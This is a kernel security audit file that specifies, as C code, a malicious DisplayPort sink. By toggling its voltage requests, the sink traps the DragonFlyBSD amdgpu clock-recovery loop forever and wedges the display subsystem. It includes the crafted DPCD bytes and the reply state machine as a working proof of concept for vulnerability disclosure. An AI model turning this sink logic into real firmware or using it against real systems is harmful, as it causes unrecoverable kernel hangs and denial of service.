โฌข DragonFlyBSD Kernel Audit
DF-4652 / trigger.c
โ† back to finding โ†“ download raw
/* DF-4652 trigger โ€” malicious DisplayPort sink behavior spec
 *                          (amdgpu CR-loop wedge; twin of DF-4589/radeon)
 *
 * VULNERABILITY: sys/dev/drm/amd/amdgpu/atombios_dp.c:605-644
 *   amdgpu_atombios_dp_link_train_cr() clock-recovery loop terminates only on:
 *     (a) drm_dp_clock_recovery_ok()                  [sink achieves CR, :614]
 *     (b) DPCD link-status read failure               [:608-612]
 *     (c) all lanes report DP_TRAIN_MAX_SWING_REACHED [:619-626]
 *     (d) 5 *consecutive* iterations with identical train_set[0] voltage
 *         (:628-635 โ€” "else dp_info->tries = 0;")
 *
 *   A sink that (1) never achieves clock recovery, (2) keeps the requested
 *   voltage swing strictly below level 3, and (3) ALTERNATES its
 *   adjust-request voltage between two levels (0.4V <-> 0.6V) on every status
 *   read makes the (train_set[0] & DP_TRAIN_VOLTAGE_SWING_MASK) == voltage
 *   test fail on every other iteration, so the tries counter is reset to 0
 *   forever and the loop never exits.  Each iteration sleeps in
 *   drm_dp_link_train_clock_recovery_delay() (>= 100 us; up to
 *   mdelay(rd_interval*4) with crafted DPCD[0x0E], drm_dp_helper.c:121-134)
 *   and performs a DPCD read through the atom AUX channel.
 *
 *   The loop is line-for-line the same shape as the radeon twin filed as
 *   DF-4589 (sys/dev/drm/radeon/atombios_dp.c:684-722).
 *
 * IMPACT: amdgpu_atombios_dp_link_train() is called from
 *   amdgpu_atombios_encoder_setup_dig() (atombios_encoders.c:1441, ATOM_ENABLE
 *   branch), invoked from amdgpu_atombios_encoder_dpms() (the .dpms encoder
 *   helper callback registered by dce_v6/v8/v10/v11, e.g. dce_v10_0.c:3421) โ€”
 *   i.e. inside the DRM modeset path holding dev->mode_config.mutex
 *   (drm_crtc.c:601/776, drm_crtc_helper.c:101/139) โ€” either the HPD
 *   workqueue thread or the userspace thread that issued MODE_SETCRTC / a
 *   DPMS property set.  Result: an unkillable task in a non-interruptible
 *   kernel loop plus a permanently wedged display subsystem (all further DRM
 *   ioctls on the card block on the mutex).
 *
 * This file documents the deterministic sink state machine (executable logic
 * below).  It CANNOT run on the audit QEMU guest: reproduction requires an
 * amdgpu GPU (AMD PCI 0x1002, atom-BIOS driven) driving a crafted
 * DisplayPort sink (MCU-based dongle emulating the DPCD responses below).
 * run.sh probes the guest and records the hardware absence (see run.log).
 *
 * Sink state machine (what the crafted DP device answers on AUX reads):
 */
#include <stdint.h>

/* DPCD bytes the sink publishes at probe time (copied into
 * dig_connector->dpcd[15] by amdgpu_atombios_dp_get_dpcd, then into
 * dp_info.dpcd at atombios_dp.c:745). */
static const uint8_t crafted_dpcd[16] = {
    0x11,   /* [0x00] DPCD_REV 1.1                                */
    0x0A,   /* [0x01] MAX_LINK_RATE  2.7 GHz (270000)             */
    0x04,   /* [0x02] MAX_LANE_COUNT 4 (in-spec; the >4 variant is
                     DF-1790 โ€” out of scope here)                   */
    0x00,   /* [0x03] MAX_DOWN_SPREAD none                        */
    0x00,   /* [0x04]                                             */
    0x00,   /* [0x05] DOWNSTREAM_PORT_COUNT / no OUI              */
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00,   /* [0x0D]                                             */
    0x00,   /* [0x0E] TRAINING_AUX_RD_INTERVAL -> udelay(100)     */
    0x00    /* [0x0F]                                             */
};

/* Link-status registers 0x202..0x207 read by
 * drm_dp_dpcd_read_link_status() into dp_info->link_status[6].
 * Adjust request nibbles at 0x206/0x207 (ADJUST_REQUEST_LANE0_1 / 2_3):
 *   bits [1:0]  voltage swing level, [3:2] pre-emphasis level.
 *
 * ATTACK: alternate lane0 voltage request between level 0 (0.4V) and
 * level 1 (0.6V) on every read, never set level 3, never report CR_DONE. */
static unsigned toggle_;

static uint8_t sink_status_reply(unsigned reg)
{
    switch (reg) {
    case 0x202: return 0x00;                 /* no lane CR done       */
    case 0x203: return 0x00;                 /* interlane align fail  */
    case 0x204: return 0x00;                 /* symbol locked: never  */
    case 0x205: return 0x00;
    case 0x206:                             /* ADJUST_REQUEST_LANE0_1 */
        toggle_ ^= 1;
        /* lane0 voltage = toggle (0 or 1), pre-emph 0; lane1 same    */
        return (uint8_t)(toggle_ | (toggle_ << 4));
    case 0x207: return 0x00;
    default:    return 0x00;
    }
}

/* Kernel-side effect (trace of the loop with this reply pattern):
 *
 *  iter  voltage(prev) train_set[0]&MASK  equal?  tries   action
 *    1   0xff          0x00 (v=0 req)     no       0      set 0.4V
 *    2   0x00          0x01 (v=1 req)     no       0      set 0.6V
 *    3   0x01          0x00 (v=0 req)     no       0      set 0.4V
 *    4   0x00          0x01               no       0      ...
 *   ...  (forever โ€” the "clock recovery tried 5 times" branch at
 *         atombios_dp.c:630-633 is unreachable; the max-swing break at
 *         :620-626 requires level 3 which the sink never requests)
 *
 * By contrast the channel-equalization loop IS bounded: dp_info->tries is
 * incremented unconditionally every iteration and checked with "> 5"
 * (atombios_dp.c:685-695), exiting after at most 7 iterations.
 *
 * Live demonstration requires: amdgpu GPU + this sink firmware on a DP
 * dongle + any modeset on the connector (e.g. xrandr --auto).
 */
int main(void)
{
	/* touch both documentation tables to keep -Wunused-const-variable quiet */
	return (sink_status_reply(0x206) + crafted_dpcd[2]) ? 0 : 0;
}